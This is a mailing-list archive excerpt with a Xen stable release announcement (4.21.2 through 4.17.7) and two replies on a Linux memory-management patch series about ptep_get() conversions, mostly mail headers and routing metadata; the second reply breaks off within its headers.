X-Gm-Message-State: AOJu0YzZWD6PMHQTJHa0YnQcFqR0XNWZPalBUT1LCEl26v0hLBYFU7BQ
	KnvRgfuBEJb6dwgnlUhFzZ0PXown7Sx7LkAWyB7zkBag3eeNdO+II5qrY6IxLnBYclLT0DlPGdf
	OvZFTig==
X-Gm-Gg: AR+sD11F+0a3Uwh5+SuQWDJ0S0a7eNtZjjuja1/beyeHpBLrX086r/K7LnpjGbwtNUY
	w+BcDPaxckSRanr+79rzVOZVONOGoMKNt0eK0jkK5Qa7VJofKbrXToYD4q3i/KLjyEvAMRysBiB
	Ssp9HQDFURWbjJyAOnWQtC3LvyPGKXaq1CU5bE7Y1+Qp53doeBJJkWiVr/fpkwi3F5uTbzZbPMd
	3XaraMJ5SS75+7Kk/F+II0+cKNaV/iRqbshkglxoFrIky1IUN8Am+jaRfXHdB2oXiB5KE4fb+Vf
	dQueYx09MnBvLr2rroygEupSu5o4pKGM3T5xki5j+HGhepF5GtPrkv1vldqoCK0TvSPfwLZoyPa
	pIWVRWzK6ByMeNddfqlebPs+aghKVaarb0mKWUTxDO57YEvi+T1wGX3AR0SthkRJPmB21VRzemz
	Fx5Gw5WwB1iB4hQINf9M3s8Sm3FvBasCj64VtqVzbwEcnMJOlWhirq+5nWf8U6pGB44knXVU6dx
	zT3jEdayJGzy2VWOIXZZq4VwLqPob7rcqqdgRWlRmpfvIWW/oIM
X-Received: by 2002:a05:600c:5395:b0:495:5943:b76c with SMTP id 5b1f17b1804b1-49800eb98c2mr27484495e9.34.1785407965451;
        Thu, 30 Jul 2026 03:39:25 -0700 (PDT)
Message-ID: <b97b97f2-70f0-4137-b409-eed3289b10d7@suse.com>
Date: Thu, 30 Jul 2026 12:39:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: Xen 4.21.2, 4.20.4, and more released
To: xen-announce@lists.xenproject.org
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYc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As8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785407966-FCC0777B-162DB4B1/0/0
X-purgate-type: clean
X-purgate-size: 1466

All,

we're pleased to announce the release of further bug fixing Xen versions,
including ones from branches in security-only support state: 4.19.6, 4.18.6,
and 4.17.7.

Xen 4.21.2 is available from its git repository
http://xenbits.xen.org/gitweb/?p=xen.git;a=shortlog;h=refs/heads/stable-4.21
(tag RELEASE-4.21.2) or from the XenProject download page
https://xenproject.org/resources/downloads/.

Xen 4.20.4 is available from its git repository
http://xenbits.xen.org/gitweb/?p=xen.git;a=shortlog;h=refs/heads/stable-4.20
(tag RELEASE-4.20.4) or from the XenProject download page
https://xenproject.org/resources/downloads/.

Xen 4.19.6 is available from its git repository
http://xenbits.xen.org/gitweb/?p=xen.git;a=shortlog;h=refs/heads/stable-4.19
(tag RELEASE-4.19.6) or from the XenProject download page
https://xenproject.org/resources/downloads/.

Xen 4.18.6 is available from its git repository
http://xenbits.xen.org/gitweb/?p=xen.git;a=shortlog;h=refs/heads/stable-4.18
(tag RELEASE-4.18.6) or from the XenProject download page
https://xenproject.org/resources/downloads/.

Xen 4.17.7 is available from its git repository
http://xenbits.xen.org/gitweb/?p=xen.git;a=shortlog;h=refs/heads/stable-4.17
(tag RELEASE-4.17.7) or from the XenProject download page
https://xenproject.org/resources/downloads/.

We recommend all users of the respective stable series to update to the
corresponding point releases.

Regards, Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 11:27:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 11:27:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377596.1623563 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpOug-0000YF-5l; Thu, 30 Jul 2026 11:26:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377596.1623563; Thu, 30 Jul 2026 11:26:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpOug-0000Y3-1s; Thu, 30 Jul 2026 11:26:58 +0000
Received: by outflank-mailman (input) for mailman id 1377596;
 Thu, 30 Jul 2026 11:26:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <agordeev@linux.ibm.com>) id 1wpOue-0000Xt-83
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 11:26:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpOud-00DO2K-Jg
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 13:26:55 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a6b34fe-5cb7-0a2a0a5109dd-0a2a4507cade-2
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 13:26:55 +0200
Received: from [148.163.156.1] (helo=mx0a-001b2d01.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a6b34fd-b4ea-0a2a45070019-94a39c01d2d4-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 13:26:55 +0200
Received: from pps.filterd (m0353729.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66UAITVb847877; Thu, 30 Jul 2026 11:26:18 GMT
Received: from ppma11.dal12v.mail.ibm.com
 (db.9e.1632.ip4.static.sl-reverse.com [50.22.158.219])
 by mx0a-001b2d01.pphosted.com (PPS) with ESMTPS id 4fmuycqb5m-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Thu, 30 Jul 2026 11:26:18 +0000 (GMT)
Received: from pps.filterd (ppma11.dal12v.mail.ibm.com [127.0.0.1])
 by ppma11.dal12v.mail.ibm.com (8.18.1.7/8.18.1.7) with ESMTP id 66UBQHmm004385;
 Thu, 30 Jul 2026 11:26:17 GMT
Received: from smtprelay01.fra02v.mail.ibm.com ([9.218.2.227])
 by ppma11.dal12v.mail.ibm.com (PPS) with ESMTPS id 4fna5yashv-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Thu, 30 Jul 2026 11:26:16 +0000 (GMT)
Received: from smtpav01.fra02v.mail.ibm.com (smtpav01.fra02v.mail.ibm.com
 [10.20.54.100])
 by smtprelay01.fra02v.mail.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 66UBQEwm32309740
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 30 Jul 2026 11:26:14 GMT
Received: from smtpav01.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 899DD20043;
 Thu, 30 Jul 2026 11:26:14 +0000 (GMT)
Received: from smtpav01.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id C9B7220040;
 Thu, 30 Jul 2026 11:26:13 +0000 (GMT)
Received: from li-008a6a4c-3549-11b2-a85c-c5cc2836eea2.ibm.com (unknown
 [9.224.92.206])
 by smtpav01.fra02v.mail.ibm.com (Postfix) with ESMTPS;
 Thu, 30 Jul 2026 11:26:13 +0000 (GMT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=pp1 header.d=ibm.com header.i="@ibm.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ibm.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=pp1; bh=rL8DGprZq6+UDaUDPLLoQG6SRBTZ0q
	XJevfXG66EoPI=; b=sdfyMp4aCvxroURx10Xqk4j4EkRzqRZj/d8ZEbHlZbxnsv
	RZqWLEeKsnBJxY69g9Rf/enfbEgMoW9zjk0DqTtqb4SdiKe5h4FUE02bCamE3eNw
	mKXSoos8tPzO8X1IdyqwB4WqK1lJ405Tk6jCGPxj7zmKeqFvuP5hapmXPKq+fUfo
	8c0EfX/h24wizj+fNqRoZz8PEn83J9Xe0L+2oOSO33qjTAG88+cOpPBcZxQ2MryQ
	9C9mVFf4A9AmKDd7qse+ZJEv879U3qPaL/p4pQJCMTWhoECKTBGwKSFXpWa8LXuD
	llCRCK3hTVvsG8xNe3CL6OnYTma2hyk1ExuGlNOQ==
Date: Thu, 30 Jul 2026 13:26:12 +0200
From: Alexander Gordeev <agordeev@linux.ibm.com>
To: Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
        Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
        Rodrigo Vivi <rodrigo.vivi@intel.com>,
        Tvrtko Ursulin <tursulin@ursulin.net>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Dimitri Sivanich <dimitri.sivanich@hpe.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
        Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Muchun Song <muchun.song@linux.dev>,
        Oscar Salvador <osalvador@suse.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        "Liam R. Howlett" <liam@infradead.org>,
        Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>,
        "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
        Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
        Andrey Ryabinin <ryabinin.a.a@gmail.com>,
        David Hildenbrand <david@kernel.org>,
        Pasha Tatashin <pasha.tatashin@soleen.com>,
        Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>,
        Uladzislau Rezki <urezki@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Masami Hiramatsu <mhiramat@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        Daniel Borkmann <daniel@iogearbox.net>,
        Andrii Nakryiko <andrii@kernel.org>,
        Eduard Zingerman <eddyz87@gmail.com>,
        Kumar Kartikeya Dwivedi <memxor@gmail.com>,
        Ingo Molnar <mingo@redhat.com>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
        "Matthew Wilcox (Oracle)" <willy@infradead.org>,
        Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>,
        Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>,
        Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>,
        Christoph Lameter <cl@gentwo.org>, Mike Rapoport <rppt@kernel.org>,
        Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, pfalcato@suse.de,
        ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
        intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
        linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
        linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
        linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
        linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
        linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 06/11] mm/kasan: use hw_pte_t for the early shadow
 PTE table
Message-ID: <e3bca247-0644-48ac-96c0-ea69b23cb11f-agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-7-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260727164715.2866609-7-usama.anjum@arm.com>
X-TM-AS-GCONF: 00
X-Proofpoint-ORIG-GUID: 1yShbzchCRrZFjJxcUOHA7XWBBHN_PSp
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzMwMDA4NCBTYWx0ZWRfX0SdyyNoCDIst
 tiHB2CaM4QF1p8CCtTiYaSOOUgx4+BDwgoYVCM0LTdDbXgHT8/B9naW6e8rzhr56cn7hR9Fzc8c
 nPSzjrwIAfuvIaxWPqmH1yuIdMBpPPVn7Mn8EFWyE6rfbbn+KvZsPAt18g3Nj8TiN9asBygXzqs
 MOcTiWGHpo4+SRwQXAgcLc5Ck+v9IcLezDKsRLpXQF/J9FIBl914ZpgcpDnWSHfrF6KVdFhG4e9
 BSjq1WFCWKAjaX66X5eNxr+WT0s1DTdNLA6Hzh85YA3Dnk5YTz7bRMivBjHJzA4JetfKwGfrowF
 1Y1bP2dyFTwDBK2ZMETXXXHgd/POo9dvPpDqYXuvTey+LmDZzsFpAInoRRAQYp6bwuUtGBPAzc4
 IsGzjJX/oyASB3D1gl37Ts2dTvivrw8E1t1YVsgaA7enYVurHpIBKWJ79PpxWuTkCeUmhZS4op6
 BD6hW/u22g3Iijfgkdg==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzMwMDA4NCBTYWx0ZWRfXyS66madxJqQ1
 YcsQPbiIkHTtCPcppu01CqajpxI61cieuOzVbuUC/F/5np1ISiVjCoiBD39pyHxQ6W0rgkTduw/
 oTeLAP0IBqNIKuWWs0UjDsrPcoo1qJE=
X-Authority-Analysis: v=2.4 cv=AZeB2XXG c=1 sm=1 tr=0 ts=6a6b34da cx=c_pps
 a=aDMHemPKRhS1OARIsFnwRA==:117 a=aDMHemPKRhS1OARIsFnwRA==:17
 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=RnoormkPH1_aCDwRdu11:22 a=uAbxVGIbfxUO_5tXvNgY:22 a=8mY-gRJjsCn2C85XUSAA:9
 a=CjuIK1q_8ugA:10
X-Proofpoint-GUID: 1yShbzchCRrZFjJxcUOHA7XWBBHN_PSp
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-30_03,2026-07-29_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 priorityscore=1501 phishscore=0 adultscore=0 impostorscore=0
 clxscore=1015 malwarescore=0 suspectscore=0 lowpriorityscore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607300084
X-purgate-ID: tlsNG-ef75cf/1785410815-35CC7AE4-561DBC98/0/0
X-purgate-type: clean
X-purgate-size: 648

On Mon, Jul 27, 2026 at 05:46:57PM +0100, Muhammad Usama Anjum wrote:
> diff --git a/mm/ptdump.c b/mm/ptdump.c
> index 376880071ca2a..8f19f20be3c44 100644
> --- a/mm/ptdump.c
> +++ b/mm/ptdump.c
> @@ -19,7 +19,7 @@ static inline int note_kasan_page_table(struct mm_walk *walk,
>  {
>  	struct ptdump_state *st = walk->private;
>  
> -	st->note_page_pte(st, addr, kasan_early_shadow_pte[0]);
> +	st->note_page_pte(st, addr, ptep_get(kasan_early_shadow_pte));
>  
>  	walk->action = ACTION_CONTINUE;

I suppose this chunk could be posted as a follow-up to commit c33c794828f2
("mm: ptep_get() conversion") independent of this series.


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 11:30:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 11:30:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377642.1623571 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpOxj-0002cy-JF; Thu, 30 Jul 2026 11:30:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377642.1623571; Thu, 30 Jul 2026 11:30:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpOxj-0002cp-E8; Thu, 30 Jul 2026 11:30:07 +0000
Received: by outflank-mailman (input) for mailman id 1377642;
 Thu, 30 Jul 2026 11:30:05 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <agordeev@linux.ibm.com>) id 1wpOxh-0002RS-KN
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 11:30:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpOxh-00Aev2-14
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 13:30:05 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a6b35b2-2eae-0a2a0a5409dd-0a2a450aaa60-24
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 13:30:05 +0200
Received: from [148.163.156.1] (helo=mx0a-001b2d01.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <agordeev@linux.ibm.com>)
 id 6a6b35bb-f2d2-0a2a450a0019-94a39c013cd2-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 13:30:04 +0200
Received: from pps.filterd (m0360083.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66UAHuns2709587; Thu, 30 Jul 2026 11:29:29 GMT
Received: from ppma11.dal12v.mail.ibm.com
 (db.9e.1632.ip4.static.sl-reverse.com [50.22.158.219])
 by mx0a-001b2d01.pphosted.com (PPS) with ESMTPS id 4fmuw7qdv8-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Thu, 30 Jul 2026 11:29:29 +0000 (GMT)
Received: from pps.filterd (ppma11.dal12v.mail.ibm.com [127.0.0.1])
 by ppma11.dal12v.mail.ibm.com (8.18.1.7/8.18.1.7) with ESMTP id 66UBQg3P005008;
 Thu, 30 Jul 2026 11:29:28 GMT
Received: from smtprelay02.fra02v.mail.ibm.com ([9.218.2.226])
 by ppma11.dal12v.mail.ibm.com (PPS) with ESMTPS id 4fna5yat6k-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT);
 Thu, 30 Jul 2026 11:29:28 +0000 (GMT)
Received: from smtpav05.fra02v.mail.ibm.com (smtpav05.fra02v.mail.ibm.com
 [10.20.54.104])
 by smtprelay02.fra02v.mail.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 66UBTQAJ43581894
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 30 Jul 2026 11:29:26 GMT
Received: from smtpav05.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 2BC1C20043;
 Thu, 30 Jul 2026 11:29:26 +0000 (GMT)
Received: from smtpav05.fra02v.mail.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 39C4320040;
 Thu, 30 Jul 2026 11:29:25 +0000 (GMT)
Received: from li-008a6a4c-3549-11b2-a85c-c5cc2836eea2.ibm.com (unknown
 [9.224.92.206])
 by smtpav05.fra02v.mail.ibm.com (Postfix) with ESMTPS;
 Thu, 30 Jul 2026 11:29:25 +0000 (GMT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=pp1 header.d=ibm.com header.i="@ibm.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ibm.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=pp1; bh=iqt2s1hq4p/5rHwvwtT1k5VmvNMosI
	CBR3I5pd05C5g=; b=LOlhvmIFhW/EngAbWhcK7RbynBbOcMLn8k9M44UoY1doH4
	CQvK5x3I2gQ+I/eDxx00AjEnGtglp7EP68wc5irkslKwFXFeJyl0JpnizTObLrfc
	wnyqyVaeaaICVHqF2o3nzEsKAdgN/Yna9ginLJBQYB1NQh6VV3ax2kGWMpJVTv1w
	Whce7mFVUCRYyM740D1Il6BuX9SbUGAUDXA28opS6pOfQXzqxqb5sws7Ac3yDMnD
	KtYJdCmUTspQr6cTO/OMjZNmWB4NVe1S/2N8p4JSmv7CA0Tz7QReSsr7LIs1FL0h
	Sa1KUyP3rTtmf7GCyJSTJvX4W0zsccVa7vEHk3Xw==
Date: Thu, 30 Jul 2026 13:29:24 +0200
From: Alexander Gordeev <agordeev@linux.ibm.com>
To: Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
        Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
        Rodrigo Vivi <rodrigo.vivi@intel.com>,
        Tvrtko Ursulin <tursulin@ursulin.net>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Dimitri Sivanich <dimitri.sivanich@hpe.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
        Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Muchun Song <muchun.song@linux.dev>,
        Oscar Salvador <osalvador@suse.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        "Liam R. Howlett" <liam@infradead.org>,
        Lorenzo Stoakes <ljs@kernel.org>, Will Deacon <will@kernel.org>,
        "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
        Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
        Andrey Ryabinin <ryabinin.a.a@gmail.com>,
        David Hildenbrand <david@kernel.org>,
        Pasha Tatashin <pasha.tatashin@soleen.com>,
        Chris Li <chrisl@kernel.org>, Kairui Song <kasong@tencent.com>,
        Uladzislau Rezki <urezki@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Masami Hiramatsu <mhiramat@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        Daniel Borkmann <daniel@iogearbox.net>,
        Andrii Nakryiko <andrii@kernel.org>,
        Eduard Zingerman <eddyz87@gmail.com>,
        Kumar Kartikeya Dwivedi <memxor@gmail.com>,
        Ingo Molnar <mingo@redhat.com>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
        "Matthew Wilcox (Oracle)" <willy@infradead.org>,
        Jan Kara <jack@suse.cz>, Jason Gunthorpe <jgg@ziepe.ca>,
        Leon Romanovsky <leon@kernel.org>, Miaohe Lin <linmiaohe@huawei.com>,
        Dennis Zhou <dennis@kernel.org>, Tejun Heo <tj@kernel.org>,
        Christoph Lameter <cl@gentwo.org>, Mike Rapoport <rppt@kernel.org>,
        Johannes Weiner <hannes@cmpxchg.org>, ziy@nvidia.com, pfalcato@suse.de,
        ryan.roberts@arm.com, linux-kernel@vger.kernel.org,
        intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
        linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
        linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
        linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
        linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
        linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 07/11] mm/mremap: use ptep_get() for the destination
 PTE
Message-ID: <50dd77c0-b6cc-43e2-abd5-6d44a29b5597-agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-8-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260727164715.2866609-8-usama.anjum@arm.com>
X-TM-AS-GCONF: 00
X-Proofpoint-GUID: V4x9pQxNwD7ZNr5cxCV2-nvUuRwrRIk1
X-Proofpoint-ORIG-GUID: V4x9pQxNwD7ZNr5cxCV2-nvUuRwrRIk1
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzMwMDA4NCBTYWx0ZWRfX0CQsHlonvlnH
 AF8GXubMVqrPdR5q2n+7Pi5IhSvnRClhhnIlGsM45pj9nS5tbh9v0OQ7ZDryymjJZRFKeKVHtnB
 2WWJA774SAFONtJMa1V+ZFbhY/GluaeNfrJWfajh0aeP9y3KCj2N7q61IT/ZcqjPD8Ux1nEITrp
 lqWGD3CVkHnuWYvD92qt1C/5PMxyLshMO14JBLRDs++WhJByj0BHkXcsWNivsbVrtdJT6sVZwbe
 dzeDGI8gWjRNMh7nT2wbxj0bb+I7NqjrGKSVMqorBDA3g5atHjQfxeyyy1zH1imIK+WiEUWLOj2
 QQUIajHJgwMTOVFObZZxwcDbjinR/ict/W/9rkboCapJlq+7peril/x1TLLHoImfIa1fT9/ascw
 AjAYP3c7Nyd6rCK2zbdbMkwiwAS4FHnHFqkFfsWMAkhtZLdazd3x2FNYbpmW9FLWL90LlaufF1X
 g6HAqpq5Re1qYW6+N8A==
X-Authority-Analysis: v=2.4 cv=SKFykuvH c=1 sm=1 tr=0 ts=6a6b3599 cx=c_pps
 a=aDMHemPKRhS1OARIsFnwRA==:117 a=aDMHemPKRhS1OARIsFnwRA==:17
 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=RnoormkPH1_aCDwRdu11:22 a=iQ6ETzBq9ecOQQE5vZCe:22 a=VwQbUJbxAAAA:8
 a=VnNF1IyMAAAA:8 a=7CQSdrXTAAAA:8 a=nEq6qJbkOf9lyMFAmGoA:9 a=CjuIK1q_8ugA:10
 a=a-qgeE7W1pNrGK8U0ZQC:22
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzMwMDA4NCBTYWx0ZWRfX+toP0yvqLwe3
 5MpM2JLPKFYcitSFhNnjhmLQzv/6TWy3jhaIxgQDqHwpJrQHSWwSOVkfjDxzt8TAMHiE7g64vAw
 8VzOqfzQntIJPAir8I8JMkTRPXuGciY=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-30_03,2026-07-29_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501 malwarescore=0 clxscore=1015 adultscore=0
